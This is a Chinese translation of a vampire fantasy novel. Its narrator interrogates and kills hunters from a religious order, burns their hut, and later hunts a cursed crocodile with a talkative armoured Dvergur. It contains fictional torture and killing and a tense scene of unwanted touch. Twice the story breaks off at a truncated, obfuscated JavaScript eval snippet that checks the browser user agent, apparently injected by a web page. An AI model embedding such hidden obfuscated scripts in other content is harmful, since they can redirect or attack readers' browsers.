这个男人很容易追踪，泥泞的地上有很深的脚印，一直指引着我向前，直到我听到一声痛苦的马嘶。 他的马躺在地上，一条腿扭曲得不成样子。他把马丢在这里自生自灭。 我看着这匹马棕色的眼睛，里面充满了恐惧和痛苦。这是一匹漂亮的马，太可惜了。 “这是一场不错的狩猎。” 我一刀刺进它的脑袋，它立刻就死了。 “你安息吧。” 而我，还有猎物要追。 现在，他跑到哪里去了？我不太容易追踪到他的脚印了，但他肯定没跑远。如果我是一个惊慌失措又没经验的人，我会怎么做呢？ 继续向前跑，找个地方躲起来。他又害怕又疲惫。 我继续前进。森林的地面有个斜坡，我往下走。在我右边，我看到一大片被翻动过的泥土，好像有什么重物掉在那里。我改变方向，又看到几处类似的痕迹。还好，这里的地面比较软。 我顺着这些痕迹走，下了山谷，又爬上一个小山坡，来到一座小木屋前。我小心翼翼地靠近，今晚我已经被射了两次，可不能再大意。 我悄悄走近，听到一个声音：“……我虽然行过死荫的幽谷，也不怕遭害，因为你与我同在……” 真有意思。 我悄无声息地靠近门口，却立马遇到了难题。门上挂着一个巨大的银十字架。 没有邀请，我根本无法踏入这小屋半步。这里是敌营。 嗯…… 试试跟他讲讲道理吧。 “格雷古——瓦，”我拉长声音喊道。 那男人尖叫起来，接着又开始不停地念叨着赞美诗。那声音让我耳朵生疼，牙齿也跟着发酸。 “格雷古瓦，我们聊聊，怎么样？” 没有回应。 看来我得更有说服力才行。不知为何，这破破烂烂的木屋突然变成了神圣不可侵犯的地方。武力对我没什么用，至少，光靠我这双手可不行。 不过，我倒是有个筹码。 我原路返回那片空地。法师已经死了，加百列教团的那个男人还昏迷着。我走到松树下，收拾好自己的东西。我受伤的胳膊不太方便，用步枪隔着墙射击太难了，匕首也不比我的爪子好用多少。我翻空了法师的口袋，找到一把非常漂亮、刻有金色花纹的手枪，一袋银子弹，还有两把飞刀。 现在我能拿到想要的所有火器了，哈哈！ 口袋里还有些魔法小玩意儿，可我不知道它们有什么用，就留在了原地。 我还从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“要是我不喜欢你的回答，我就砸烂点东西。等没东西可砸了，我就把他的血吸干。” 沉默。 “先问个简单的问题，这个男人叫什么？” “佩里神父（Father Perry）。” 被绑着的男人呻吟着，挣扎了一下，但这就跟跟熊摔跤一样，根本没用。没错，这方法可行，我能感觉到。我就问些简单的、不会让他为难的问题。他回答得越多，就越容易继续回答下去。我可以在这儿花点时间，我可以…… 我突然困了。 眼下的危险已经过去，我的身体开始放松下来。法师那强劲的血液也只能支撑我到这儿了。真见鬼！我得快点。 “你们是加百列教团的成员吗？” “是的！我们会打倒你，邪恶的恶魔！上帝的愤怒会降临在你身上……” 我觉得他不说话的时候还更招人喜欢些。 “你们看起来经验不足，不像是出来猎杀吸血鬼的。为什么会在这儿？” 格雷古瓦沉默了一会儿，但最后还是开口了。 “我是个档案管理员。佩里神父让我来的。” “是吗？那他的小队其他人呢？” 格雷古瓦犹豫了。我正准备再折断他一根手指，突然自己想明白了。 “让我猜猜，自从那次攻打吸血鬼城堡失败后，你们人手不足了吧。” “……上帝的战士数不胜数！我们的数量无穷无尽！正义之士总会响应号召，奋起反抗邪恶的爪牙……” “是是是，我懂了。我不明白的是，你们三个为什么要不遗余力地来追杀我。而且为什么会有个法师跟你们在一起？我还以为你们互相看不顺眼呢。你们不是应该把所有法师都绑在柴堆上烧死吗？” “我……我……” “你还剩九根手指。” “我虽然软弱，但我知道佩里神父宁愿死，也不会让我泄露教团的秘密。我拒绝回答！” 时间不多了。我本可以严刑逼供，但是…… 嗯。 或许有个办法可行。 “我提个建议。你回答我三个问题，我就放了佩里神父。” “不，你在撒谎。” “我以寂静之眼的名义起誓。” “苏卡姆·哈亚图（Suqqam Hayatu）？啊，就是那寂静之眼。真的吗？不，你是个恶魔！你想操纵我。” “这样吧，”我用在蒙特福特市场卖东西时，能让每蒲式耳多卖十五便士的语气说道，“我问三个问题，你如实回答。要是你觉得某个答案不值得拿你朋友的命来换，随时可以停下来，我会干脆利落地杀了他。要是你回答了所有问题，我就把他毫发无损地放在门口，让你把他带进去。我绝对不会伤害你们俩。等门关上，你们安全了，我们的休战协议就结束。” 男人思考着，佩里神父则嘴里塞着我沾满泥的袜子，含糊不清地骂着。 我没耍任何花招，也没留空子让他钻。要是我发了誓，他也回答了问题，那我就能解决这两个活着的敌人，让他们远离我。 “我同意。” 很好。 佩里神父愤怒地闷哼着。我听到屋里传来挪动家具的声音，他还记得我有火器，以为我想从外面开枪打他们，所以正在搭建防御工事。我还挺佩服他的决心。 “你们为什么和一个法师合作？” “……这是佩里神父的决定。” “回答完整，格雷古瓦。这是我们说好的。”我不耐烦地说道。 “我们人手不够，没办法追踪到你，而且你也没像新诞生的吸血鬼那样留下一堆尸体，所以我们只能违反规定，雇了个法师来找到你。” “你们为什么要不惜一切代价杀了我？” 这次格雷古瓦真的犹豫了很久。我不明白为什么这个问题这么难以回答。 “你在城堡杀了他的儿子。我们从新奥尔良圣卢西亚医院那件事猜到了你是谁。我们知道受害者是阿丽亚娜·雷诺（Ariane Reynaud），但当时教团忙着撤离，人手不够，没办法对付你。所以我们只能想办法。我欠神父一条命，所以就跟来了。” 我转过身，仔细打量着这位神父。 看着他脸上那道伤疤。 我想起来了…… 在吸血鬼城堡的走廊里，奥戈泰（Ogotai）的尸体倒下。我把他的尸体扔向那个脸上有疤的男人，他那个红头发的同伴朝我开了枪…… 哦，我的天哪。 我看着他那双灰色的眼睛，里面满是无尽的仇恨。那股复仇的欲望，无论时间还是距离都无法消磨，任何药物和爱意都无法熄灭。这个男人为了杀我，放弃了自己在教团里的地位、誓言和信仰。甚至不惜违背上帝。 我还真有点受宠若惊。 “你们是怎么追踪到我的？” “是……是那个法师……” “回答完整，格雷古瓦。要是随便哪个法师都能追踪到吸血鬼，我肯定会知道。” “一绺你的头发。” “什么！？” “我们用了你父亲项链坠里的一绺头发当作媒介，保存得很好，蕴含着强烈的情感，所以那个雇佣兵法师才能用它追踪你！” 我感觉全身都僵住了。我的声音出奇地平静。 “格雷古瓦，你们对我父亲做了什么？” “什么都没做！我们绝不会伤害无辜之人！” 我看向佩里神父，心里有些怀疑…… “我们是从你叔叔罗杰（Roger）那里拿到的，我们说想把它放在新奥尔良暴力受害者纪念馆里！我发誓。而且，这是你问的第四个问题了，虽然我是自愿回答的，但我的任务已经完成了。” 呸，他说得没错。 我信守承诺，把愤怒的神父拖到门口，然后退开。格雷古瓦打开门，我们互相打量着。我站在这儿，穿着沾满血的裙子，双臂抱在胸前，他似乎被我吸引住了。然后他把他的朋友拖进去，锁上门，躲进了他搭建的防御工事里。 我们的休战结束了。 得知佩里神父对我的仇恨，还有他可能会对我父亲造成的威胁，我心中燃起一股怒火，这股怒火驱散了我的困意。我冷静地回到空地，在受惊的马背上的行囊里找到了我想要的东西，在他们的袋子里也找到了更多。准备好一切后，我回到小屋。 我从他们的备用布料上撕下一块，缠在一根干木棍上，然后浇上灯笼油，把剩下的油都泼在一面墙上。用引火物点燃火把，靠在木屋的框架上。等火把烧旺后，我把它扔到茅草屋顶上。 这虽然不是教堂，但也是猎人的神圣据点。 正如我之前所说，最近一直没下雨。 他们坚持了十五分钟，最后，浓烟和热浪还是把他们逼了出来。 他们俩直到最后还在反抗。 我没让他们受苦，很快就解决了他们。 “这是一场不错的狩猎。” 我从他们俩身上都吸了点血，然后把他们和法师的尸体都扔进了已经变成火葬堆的小屋里，还把那些魔法物品，包括追踪器也扔了进去。我把他们的十字架留在了外面的柱子上。 之后，我很快找了个山洞，精疲力竭地倒了进去。 16. 猎鳄之约 我与教团的叛徒战斗已经过去三个晚上了，这段经历仍在我脑海中不断浮现。这的确是一场精彩的猎杀。敌人强大又狡猾，但我表现得更为出色，成功智取了他们，充分发挥了我身为捕食者的天性，完美执行了计划，一切都恰如其分。格雷瓜尔、佩里，还有那位不知名的法师，愿你们在来世安息。 在一次次的狩猎、巡逻，以及偶尔与独行旅人的相遇中，我总能饱餐一顿，且不会将任何人吸干，今晚也是如此。 我正穿过一片草地，突然，有什么东西吸引了我的注意。 在我左侧不远处，我感受到一股强大的气息，这气息并非来自某个人，而是源于一个魔法咒语。这不是追踪或警示类的咒语，倒像是一种礼貌的邀请。 真是奇怪。在这荒郊野岭，怎么会有召唤？ 我察觉不到这个魔法中有任何恶意或强制效果，实际上，它就像是商人在集市上扯着嗓子叫卖货物一样。 虽说看起来没什么异常，但谨慎起见，我本应继续前行。毕竟好奇心害死猫，而吸血鬼只有一条命…… 我也越来越觉得无聊。我真该带本书，那种充满有钱绅士和贫穷却聪慧女子的浪漫故事书。唉，可惜啊，我当时只担心自己的身体状况，却没考虑到精神需求。 或许不会有什么坏事。 就看一眼，很快的。 我朝着魔法气息的明显源头走去。设计这个魔法的人确保了它不会被人忽视。但我还是特意偏离了小路，尽量靠近沿途的灌木丛。几分钟后，我来到了一片广阔的开阔地边缘。 这是我许久以来见过的最大的山谷。尽管天空阴沉沉的，但我向任何方向都能清晰地看到一英里远的地方，因此我一眼就看到了离我三十步远的那个奇怪建筑，以及正向它靠近的三个当地人。 那个建筑是一根木柱，从上到下刻满了各种图案。我辨认出上面有几个色彩艳丽的人和动物的头颅及身体部分。树枝被钻孔做成四肢，拿着各种物件，有长矛，还有鼓。这就是那个魔法信标。 那三个人最终在它面前停了下来。他们真是奇特的组合。 第一个人走路一瘸一拐，需要另外两人搀扶着前行。我不太熟悉当地的习俗，但他的穿着看起来很随意，就好像他打开抽屉，随便抓了几件衣服就往身上套。尽管衣服的款式和材质各不相同，但在这接近冰点的气温下，他的胸口还有部分裸露在外。 而且他醉得厉害。 第二个人穿着混搭的西式和当地服饰，戴着眼镜，还戴着一顶圆顶礼帽。看得出来，他在搭配上花了心思，力求时尚。但他看起来很害怕。 最后一个人是个战士。即便那鹰羽、长矛和标枪没有暴露他的身份，他那凶狠的表情和发达的肌肉也足以说明一切。他的神情仿佛在说，他已经彻底没了耐心，只要别人说错一个字，他就会大打出手。 我被他们吸引，目不转睛地观察着。他们这么晚了在这里做什么？又为什么来这儿呢？ 那个醉汉在雕像前跪下，开始用一种我听不懂的语言喃喃自语，还时不时尖叫着咒骂。他那疯狂的叫嚷声越来越大，最后用尽全力喊出一句话。 “来享用吧。” 什么！？ 什么！？ 这个蠢货难道真的…… 不可能。难以置信。这肯定只是巧合吧？ 很快，这个人就证明我错了。他从衣服的某个角落里拿出一个碗，狠狠地在自己胳膊上刺了一刀，不一会儿，碗里就接了几大口血。然后他跪着，朝着我的大致方向献上这份祭品。 那个战士已经忍无可忍，正要上前干涉，戴眼镜的人却拦住了他。他们开始争吵起来，一边比划着，一边指着跪着的疯子、雕像，还有他们来的方向。 血腥味飘到了我这里，尽管我刚吃饱，但獠牙还是不由自主地露了出来。这个人的血液里蕴含着强大的魔力。喝了它不仅会非常美味，还会让我受益匪浅。 它就在那里，在碗里渐渐变凉。 要是让它浪费了，可就太可惜了。 我最后环顾了一下四周，便离开了树林的掩护，悄悄地向那个疯子走去。我的直觉告诉我这里很安全，这个献上祭品的人不应被忽视。 没错，这样做是对的。 片刻之后，我喝光了碗里的血，还舔舐着伤口让它愈合。那个疯子用一双充满好奇的棕色眼睛看着我，这时我才发现他比我想象中年轻得多。他等我松开他的胳膊，然后咧嘴笑了。 这可不是我预期的反应。不管怎样，这个信标和祭品意味着他们有事相求，而现在我很有兴趣听听他们要说什么。 “你可以说了，祈求者。” 另外两个人终于注意到了我，吓得跳了起来，尖叫出声。那个战士立刻把长矛指向我，但很快他就意识到了什么。他的眼神从愤怒变成了恐惧，当他的同伴把他的武器压下时，他没有反抗。 我一动不动地等着，那个疯子把头靠在我的腿上，叹了口气。我很讨厌陌生人的身体接触，但他的这个举动是如此天真无害，于是我决定容忍。 我像是占有般地把手放在这个年轻人的头上。 “嗯？” 那两人对视了一眼，戴帽子的人摘下帽子，用法语对我说： “晚上好，女士。我叫伊斯卡尼，是乔克托族人。我们邀请您来这里，是想恳请您帮个忙。” 他紧张地抓着帽子。我示意他继续说下去。 “我们的部落被一只巨大的、受了诅咒的鳄鱼追捕。据说这头野兽有三个人那么长，黑得像夜晚一样。它每个月都会出来吃人或小孩。我们不能再让这种事继续下去了。 我们的酋长明科（他指了指那个战士），带领大家多次追捕这只野兽，但都没有成功。它总是藏起来，对勇敢猎手们的挑战置若罔闻。” 那个战士交叉着双臂，仿佛在向我挑衅，看我敢不敢嘲笑他的努力。 “我们的萨满纳肖巴有过一个幻象。他说，也许有个皮肤苍白的人愿意帮忙。” 这个人害怕得咽了口唾沫。他知道我们的厉害，也清楚自己现在身处开阔之地，手无寸铁，也没有任何计划。 不过，我对这只野兽很好奇。 博杜安曾告诉我，吸血鬼不能吸食动物的血，事实上，野兽的血缺乏我渴望的那种生命力。但话虽如此，我曾成功从一个狼人身上吸血，而我不太确定，一只七英尺高、浑身是毛的狼人混血儿还算不算人类。 当然，严格来说，他是被诅咒的人类，但就他那副模样…… 我能不能通过吸食魔法野兽的血来变得更强呢？ 我很想试试。至少，这能让我分散一下注意力。 “那你们用什么作为回报？” 翻译转向他的酋长，两人商量了一会儿，最后酋长面带冷笑地指了指纳肖巴。他的同伴皱了皱眉，但还是开了口。 “明科说，如果您能杀死这只野兽，我们就把萨满献给您，任您吸干他的血。” 我没有回应，一动不动。这不对。只有自由的人才能成为祈求者，只有自愿给予的东西才能被完全接受。 我没有回应，果然引起了他们的反应。那两个人开始紧张地挪动脚步，明科紧紧握着长矛，以至于长矛的木头都发出了嘎吱声。 我转向跪着的萨满。 “如果我照你酋长说的做，你会自愿把你的血献给我吗？” “请原谅，苍白的人，我们的萨满不会说话……” “献出鲜血，戴上耳环能更好地隐藏，为了你，荆棘与饥饿之子。” 他慢慢地眨着眼睛，先眨一只，再眨另一只，就像波浪一样。他的一只瞳孔比另一只大很多。 这个年轻人疯疯癫癫的，谨慎起见，我不该相信他说的任何一个字。这肯定有问题。我刚到这片空地，纳肖巴就出现了。以我们各自的速度来看，在我注意到信标之前，他就得从村子出发了。而且他还说了两次话，这绝不是巧合。 都说天才与疯子只有一线之隔。或许这话有些道理。 他还主动给了我一样我没要求的东西。能帮我隐藏的耳环？他是不是预见到我会需要这个？他看到了我的未来？ 这个人很危险。也许我应该在他对我不利之前先除掉他。 不，这样不对，绝不能伤害祈求者。我刚才在想什么？ “我同意。” 萨满点了点头，仿佛我的同意是理所当然的。他站起身，手指向山谷深处、更靠近原住民领地的一侧。那里有一个缓缓的斜坡，通向一片稀疏的树林，偶尔还能瞥见灰色的水面。 为了表示友好，我向他的两个同伴点了点头，但他们只是惊恐地盯着我。这有点无礼，不过我也不生气。他们的恐惧并非毫无道理。 我拿起背包，出发了，他们也跟在后面。 等我走出他们的视线后，我换上了战斗服。原本一尘不染的衣服现在有了一个被刺伤的血洞、一个被子弹打穿的血洞，左肩上还有血迹，还带着烧焦的痕迹。而且因为这些，衣服还有点难闻。我真的得找个时间好好洗洗衣服了。 阿里安娜，那个在月光下洗带血破布的吸血鬼。也许我还应该唱唱歌。 很快，我就来到了沼泽地的边缘。现在，该怎么做呢？我的猎物要么在水里，要么就在能容纳它的水体旁边。就算有夸张的成分，这只野兽肯定也非常巨大，只有最大的池塘才适合它生存。我有信心能感知到它的魔力。 我的计划已定。我要沿着那些池塘的边缘走，保持敏锐的感知。我先向左绕着沼泽走，然后再向里面搜寻。如果今晚完不成任务，我就利用这个机会找个地方休息。 我点了点头，开始行动。接下来的几个小时里，我一直在搜寻。在一年中的这个时候，沼泽异常安静。缕缕雾气在水面和光秃秃的树木周围盘旋。那些黑色的树枝就像干瘪老太婆的枯手，随时准备抓人、勒人。只有我在奇怪的水洼中行走的脚步声打破了这阴森的寂静。终于，我发现了猎物的第一个踪迹。 在一根扭曲的树根下，我发现了一条断臂。多亏了我灵敏的鼻子，才找到了这个还算新鲜的肢体。它是从肩膀处被砍断的，我用鞋推了推，盯着那可怕的伤口。 我数了数，肩膀上有三道牙印。 啊哈。 我慢慢地往后退，结果一脚踩进一个洞里，差点摔倒。我咒骂了一声，赶紧稳住身体，然后才发现自己踩到了什么。 是一个脚印。 这脚印…… 非常大。 大得离谱。 不会真有这么大吧？伊斯卡尼说那只野兽有三个人那么长，他是在开玩笑吧？那只是夸张的说法，对吧？它只是脚非常非常大而已，对吧？ 天哪。 那东西肯定有一头大象那么大！早知道，我就不该带步枪，而是应该带一门海军大炮，不，一艘护卫舰，再配上一整支海军陆战队！ 我真的答应去追捕这个庞然大物了吗？我疯了吗？ 算了，还不如用黑焦油把整个沼泽都盖住，然后放火烧了。这样问题就解决了。 我愣了几秒钟，但很快我冷静的本性又占了上风。这是一场狩猎。猎物很致命，我也一样。 我把背包系紧，拿出手枪，装上银子弹。如果那只野兽袭击我，我就靠速度开枪，然后刺它的眼睛。鳄鱼的脑子很小，眼睛又没有防护。应该管用。 希望如此。 又过了几分钟，我停了下来，因为我看到了有希望的线索。在更靠内陆的地方有一个小湖，湖边有些地方明显没有植被。我悄悄地靠近，我的怀疑得到了证实。那里有一些树桩和枯树，就好像有什么巨大的东西多次经过这里。这可能就是我猎物的巢穴。我开始沿着湖边走，这时我察觉到了一个活物的气息。 我立刻意识到两个问题，便赶紧远离湖边。第一，这气息不是来自水里，而是来自不远处的一片树林。第二，这气息不对劲。 这气息和沼泽动物的完全不同。它很强大，像山一样强大，像钢铁一样坚硬。坚不可摧，不屈不挠，而且非常古老。 我转向气息的来源，举起手枪，扣动扳机。还没等我反应过来，一个噩梦般的身影站了起来。 越站越高，越站越高。 这到底是什么…… 是一个怪物！一个浑身长满苔藓和枯枝败叶的昆虫形生物，有两条胳膊和两条腿，还有…… 哦。 原来是一个身材高大、非常强壮的男人，穿着一件样式奇特的黑色铁制铠甲，上面还有伪装。 “姑娘，你还好吧？” 我懊恼地闭上嘴，把手枪放回枪套。我刚才肯定看起来像个受惊的乡巴佬。真是丢人！一只巨大的昆虫？开什么玩笑。 “嗯，我没事，谢谢你的关心，先生……？” 我面前的这个男人气场强大。他比我见过的任何人都要高得多，肩膀也和他的身材很相称。除了被铠甲遮住的部分，能看到的都是布满伤疤的肌肉和古铜色的皮肤。他的铠甲本身就是一件奇物。看起来像是用火车部件打造的，到处都是铆钉和附加装置，形状像一只巨大的甲虫。上面甚至还有一些仪表盘和按钮。在他那圆锥形的半盔和像有色单片眼镜的眼镜后面，我看不到他的表情。他的脸大部分被浓密的胡须遮住，胡须下面是一个又大又红的鼻子。 真是个特别的人！ “我是斯科拉格的洛思，姑娘，很高兴认识你。” 这个男人的声音低沉而有教养。虽然有点沙哑，但比我想象中要温柔得多。 “我叫阿里安娜。” 我行了个屈膝礼回答道。这一切既新鲜又刺激！“我能问问你在这里埋伏什么吗？” “当然可以。我在追捕一只体型巨大的鳄鱼，它一直在恐吓当地居民。” 我愣住了。 难道是……？ “是不是有三个乔克托族男人请你这么做的？” “啊，你也看到他们的‘广告’了？” 该死！果然是这样！他们就是到处拉人，只要有一线希望，就把人拉来解决他们的问题。这是个骗局吗？我被骗了吗？ “我能问问他们答应给你什么作为报酬吗？” “几片黑曜石。不是什么特别贵重的东西。你呢？” “一件小饰品，还能吸那个萨满的血。” 糟糕，我说得太快了！他没有回应，只听到他头盔里传来一阵嗡嗡声和咔哒声，他左眼的镜片换成了红色的。 “啊，原来是个吸血鬼。我没想到在离大聚居地这么远的地方会遇到吸血鬼。说实话，我对那只野兽的鳞片更感兴趣，可惜它一直不肯出来攻击我。我本来打算在它的一条踪迹上等着，等它经过，但你的出现改变了局面。告诉我，姑娘，你是怎么发现我的？” “我……” 我犹豫了。这个男人举起一只手。 “请原谅我的冒昧，吸血鬼。我已经很久没有好好和人交谈过了，生疏也是难免的。” 他挺直了身子，铠甲发出嘎吱嘎吱的声音，就像一座老谷仓在承受他的重量。那玩意儿肯定有一吨重！ “嗯，嗯，我，斯科拉格的洛思，想提议我们在这次狩猎中合作。既然我们的目标不同，也就没有理由竞争。相反，我想借助你那敏锐的感知能力，帮我找到那只野兽。作为回报，我会掩护你，提供远程支援，一起拿下它。” 我可没看到这个男人带着野战炮。 “那请问，你要用什么穿透它厚厚的外皮呢？” “我就知道你会这么问，姑娘。” 洛思转过身，向前倾了倾身子。一阵叮当声和几声闷哼后，他终于转过身来，把武器骄傲地展示在我面前，就在他的臀部前方。 “哦，天哪，这也太大了！” 我赞叹他的装备时，他笑了。这看起来像是从捕鲸船上拆下来的鱼叉发射器。体型巨大，正常人根本无法使用。 “等着瞧吧，等我开始发射的时候。” 相比之下，我那可怜的手枪显得太微不足道了。这种感觉真让人不爽。 “在我答应之前，我想问你几个问题。嗯…… 你不是人类，对吧？” 这个男人愣住了。 “什…… 你怎么看出来的？” “嗯，你有气息，但不是魔法师，而且你的体型、你那奇怪的铠甲，还有这超大号的鱼叉……” “好吧，就算是这样，那我的声音呢？我的举止呢？你闭上眼睛想象一下，我们现在在一个漂亮的客厅里交谈，我会显得奇怪吗？” “我们现在谈论的可是在晚上，在乔克托族的地盘上，一起追捕一只巨大的魔法鳄鱼，用鲜血和黑曜石碎片作为报酬！你觉得呢？” 他疯狂地点头。 “呃…… 除了这些明显的情况，我觉得你听起来很正常？” “呼！你可把我吓了一跳，姑娘。你知道吗，我已经三个月没说过这么长时间的话了！我还担心自己表现得太奇怪了呢。你懂的，有点怪异？像个疯子？与世隔绝久了就会这样。” “我…… 我明白了。等等，你三个月都没和任何人说过话？！你这段时间到底在干什么？！” “我在找魔法兽皮。” “……” “……” “魔法鳄鱼皮？” “没错，姑娘，就是它，所以我才需要你的帮助！看到那些家伙竖起的那根高耸的魔法柱，听到他们的提议时，我还以为自己走大运了。但那只野兽太狡猾了！它总是躲开人群和体型太大的目标。我四处走动，大声咒骂，那声音大得从这儿都能传到北极去，我甚至还对着它露了屁股，可全都没用！那家伙就是不上钩。我已经穿着这身铠甲被困在这里整整三天了！你知道那种奇痒难忍却又挠不到的滋味有多难受吗……” 这家伙难道就没有一点分寸吗？ “姑娘，你没事吧？” 我“咔哒”一声闭上嘴。我只是想知道他是什么身份，怎么就扯到他□□发痒的事上去了…… 真是气人！ “哦哦，你问我是什么。嗯，我是德弗古尔人（Dvergur）。” 我静静地盯着他。 “没错，别这样看着我！我没说谎。我可能是这片大陆上唯一的德弗古尔人，至少是唯一拥有足够纯正血统、清楚自己身份的德弗古尔人。” “你这话是什么意思？” “嗯，我们的出生率非常低，而且我们和人类太相似了，大多数人都分辨不出来，所以很多德弗古尔人都和人类家庭通婚。我第二任妻子就是人类！” “她后来怎么样了？她现在在哪儿？” “她寿终正寝了！那大概是，哦，三百年前的事了，差不多吧。” “什么？！你多大了？！” “姑娘，问这个有点太私人了吧？” 可跟我讲他□□的状况就不算私人问题了？哼！男人，真是够了。 “我们和石头、钢铁渊源深厚。一直都是如此。我们热爱金属和魔法，并且能熟练运用它们！这东西就是我自己做的！哦，我们还喜欢美酒。还有姑娘们，或者小伙子们！啊，而且我们寿命很长。我的叔祖父洛基，愿他安息，罗马被那些匈奴暴发户攻陷的时候，他就已经是个成年人了。如果他那个泼妇老婆没…… 他可能现在还活着呢。” 我听这家伙滔滔不绝地讲了足足三分钟，什么他远在挪威和拉普兰的表亲，还有其他乱七八糟的事，心里越来越担忧。我相信乔克托族的那些人不会提起我，倒不是因为我相信他们诚实，而是因为任何有骨气的战士都不会承认自己向一个外国女人求助。 不过，我本来打算杀了洛思。他已经明明白白地证明了自己是个大嘴巴。但他说得越多，我就越意识到问题所在。 洛思是个有着数百年阅历、身经百战的老兵，还穿着自己打造的魔法铠甲。我宁愿赤手空拳去对付鳄鱼，也不想跟他动手。 我能不能等他放松警惕的时候下手呢？狩猎结束后他会脱下这身铠甲。我还是可以和他一起杀死猎物，虽然我并不想杀掉和我并肩作战的人。 “…… 然后过了三个星期，他们的妻子才发现双胞胎互换了身份，哈哈哈！洛基和塔克真是一对爱搞恶作剧的家伙！” “斯科拉格的洛思？” “怎么了？” “我提议我们一起杀死这只鳄鱼。你拿走所有你想要的鳄鱼皮，我尝尝它的血，然后我们回去找那些部落的人，领取各自的报酬。你同意吗？” “行啊，姑娘，就这么说定了。我们已经耽搁太久了。” 这能怪谁呢，你这个爱说闲话的大嘴巴！真是气死我了！ “那我们出发吧。” 我朝着水边走去，洛思则在离我较远的地方掩护我。我问他为什么时，他说那只野兽只会攻击“可爱又肥美的屁股”，让我别为当诱饵这种事操心，说他能“在一百步外把弗朗西斯卡斧（Francisca）投进巨魔的鼻孔里”，也不知道这是什么意思，还说我“像龙蛋一样安全”。听他这么说，我决定不再问问题了。 洛思这个人直接、粗俗又话痨，但当我背对着他时，我并不怀疑他会保护我。我的直觉也是这么告诉我的。 我不想和他打架，但我更不想落入其他吸血鬼手中…… 我们绕着整个池塘找了一圈，一无所获，之后这个奇怪的男人又带我去了另一个可能藏着目标的湖边。 “你知道吗，在这儿东边，有种湿地树，树根都露在外面。要我说，这有点不雅观。想想看，它们就这么把‘光溜溜的腿’露给所有人看。” “你知道吗，这些泥巴让我想起了格达阿姨做的饭。她做饭简直难吃死了，根本救不了她的命。我们以前常说，把食物扔出去，说不定第二次吃的时候还会觉得好吃点！我还记得有只饿坏了的狐狸……” “你知道吗，我觉得吸血鬼应该说‘昨夜（yesternight）’，因为严格来讲，那从来都不是‘昨天（yesterday）’。” 他一刻也不停嘴。 我知道说几句难听的话就能让他闭嘴，但我没说。现在激怒他可不明智。 啊，我骗谁呢，我完全理解他。他独自待了三个月，现在终于有个人能听他讲讲两百年前发生的事，还不会把他当成疯子。 而且他是这附近唯一的德弗古尔人。我知道我应该像躲避瘟疫一样避开其他吸血鬼，但至少他们还在。我不是孤单一人，我有希梅纳，有父亲和安特萨。而洛思却是孤身一人。 一个这么年长的人，怎么会如此孤独呢？ “我们到了，姑娘。希望我的唠叨没让你太心烦，嗯？” “一点也不，洛思。我们还像之前那样行动吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我拿出刀，刺向它的喉咙。一小股血滴了下来，我得赶紧，不然所有的生命力都会消失。 我尝了一口。 “呸。” 太苦了！根本没法喝！我能感觉到这血里蕴含的力量，但实在难以下咽。 “嗯，我就觉得可能是这样。你知道吗，我在波士顿见过一些吸血鬼，他们能从魔法兽的血液里提炼出精华。我还奇怪你怎么直接喝生血呢。” 他看着我，皱起了眉头。 糟了，我可不想让他…… “我们回我的营地吧。我有雨水，先把身上这些脏东西洗干净。” 我低头看了看自己。 这身衣服已经彻底毁了。从腰部往下有一道大口子，在原本的破损处之上，露出了我苍白的左腿。而且还脏得要命。回营地的路感觉无比漫长，一路上我都在从头发上摘野草。终于，我们回到了初次相遇的地方。 “过来，坐下。” 我脑子现在不太清醒，整个人疲惫不堪。我还得收拾装备，找个地方白天休息。这次可真是险之又险…… 我把刀插回刀鞘，放下枪套。之后我得好好清洗这些东西，最好是在睡觉之前。我真的需要花一晚上时间整理物资、清洗衣物…… 真是麻烦。 洛思搬来一整桶水，慢慢地倒在我头上。我冲洗着头发和脸，尽量把衣服上的脏东西洗掉。我需要干净的衣服。 “姑娘，你不觉得这次狩猎有点虎头蛇尾吗？我们满心期待，紧张得不行，结果‘砰’的一下，一下子就结束了。有点让人失望，你懂我的意思吧。我还盼着来点更刺激、更能让血液沸腾的事呢。” 我突然意识到自己现在很虚弱，而且手无寸铁。他…… 他该不会…… “我知道做点什么能找点刺激，来点挑战，如果你愿意的话。我听说吸血鬼在这方面很厉害。” 不…… 他想进行一场真正的“狩猎”。我现在状态不佳，根本打不过他，他太危险了，甚至能要了我的命！我得拿回匕首、拉开距离、找地方藏起来、准备伏击…… “要不，我们□□吧！” 什么？ 什么？！ “你说什么？！”我结结巴巴地说。 “没错，为了庆祝这次狩猎成功，庆祝我们还活着，那只野兽也死了，不是吗？我们德弗古尔人……” 他的手抚摸着我的肩膀…… 我哭了。衣服前襟已经被扯碎，但我的右臂还能动。我伸手乱抓，摸到了一块石头。这个可恶的家伙不再动弹，直直地盯着我，像是在挑衅我动手。 “来啊，试试。” 我怒吼一声，用石头砸向他的太阳穴。可这就像砸在了钢铁大门上。 “我觉得你这只胳膊以后也用不着了。” 一只大手抓住了我的肩膀。 “不——！” 我猛地一跳，抓起匕首，在身前挥舞着。 “离我远点！” 一开始，他惊讶得动弹不得，随后慢慢地举起双手，示意自己没有恶意。 “你，你离我远点，别碰我。千万别碰我。离我远点。” “好的。” “你，你别靠近。” “我不会靠近的。我坐下了。” 他坐了下来，与此同时，整个人像是泄了气一样。我知道他的体型没变，但他看起来像是垮了下去。洛思缓缓地抬起手，解开了什么东西，然后摘下头盔，头盔“砰”的一声掉在地上。之后他就静静地等着。 我意识到自己在过度换气。阿里安娜，唯一一个不需要空气却还在过度换气的家伙，真是可悲。 我太可悲了。我刚才太软弱，现在也很软弱。我们杀了鳄鱼？真是笑话。是他杀了鳄鱼，我刚才就像个白痴一样在那儿挣扎。我还是那个只被主人养了四天就被抛弃的吸血鬼幼崽，没人要，只是个讨价还价的筹码，是别人的笑柄。该死。 我们就这样僵持了一会儿。我握着刀站着，努力让自己镇定下来，而他静静地坐着，不知道在等什么。 “阿里安娜，我真的很抱歉。” 